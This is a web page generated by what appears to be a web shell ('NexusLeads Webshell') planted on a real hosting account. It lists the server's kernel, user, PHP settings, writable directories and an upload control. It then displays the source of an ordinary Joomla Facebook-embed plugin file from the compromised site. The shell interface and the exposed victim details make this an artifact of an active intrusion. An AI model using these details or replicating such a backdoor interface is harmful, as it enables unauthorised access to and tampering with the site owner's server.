NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/domains/alsaif.group/private_html/plugins/fields/acffacebook/tmpl/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/domains/alsaif.group/private_html/plugins/fields/acffacebook/tmpl/plugins/page.php
<?php
/**
 * @package         Advanced Custom Fields
 * @version         2.8.9 Free
 * 
 * @author          Tassos Marinos <info@tassos.gr>
 * @link            http://www.tassos.gr
 * @copyright       Copyright © 2019 Tassos Marinos All Rights Reserved
 * @license         GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later
*/

defined('_JEXEC') or die;

if (!$page_url = $field->value)
{
	return;
}

// Setup Variables
$id	    = 'acf_facebook_' . $item->id . '_' . $field->id;
$width  = str_replace('px', '', $fieldParams->get('page.width', 400));
$height = str_replace('px', '', $fieldParams->get('page.height', 214));
$tabs   = $fieldParams->get('page.tabs', '');

// if tabs is an array, it means we have selected more than 1 tab, separate them via comma
if (is_array($tabs))
{
	$tabs = implode(', ', $tabs);
}

$hide_cover_photo  = $fieldParams->get('page.hide_cover_photo', false);
$small_header	   = $fieldParams->get('page.small_header', false);
$show_friend_faces = $fieldParams->get('page.show_friend_faces', true);
$hide_cta 		   = $fieldParams->get('page.hide_cta', false);

// Output
echo '
	<iframe src="https://www.facebook.com/plugins/page.php?href=' . $page_url . '&tabs=' . $tabs . '&width=' . $width . '&height=' . $height . '&small_header=' . $small_header . '&adapt_container_width=true&hide_cover=' . $hide_cover_photo . '&show_facepile=' . $show_friend_faces . '&hide_cta=' . $hide_cta . '&appId"
		width="' . $width . '"
		height="' . $height . '"
		style="border:none;overflow:hidden;"
		scrolling="no"
		frameborder="0"
		allowTransparency="true"
		allow="encrypted-media">
	</iframe>';

NexusLeads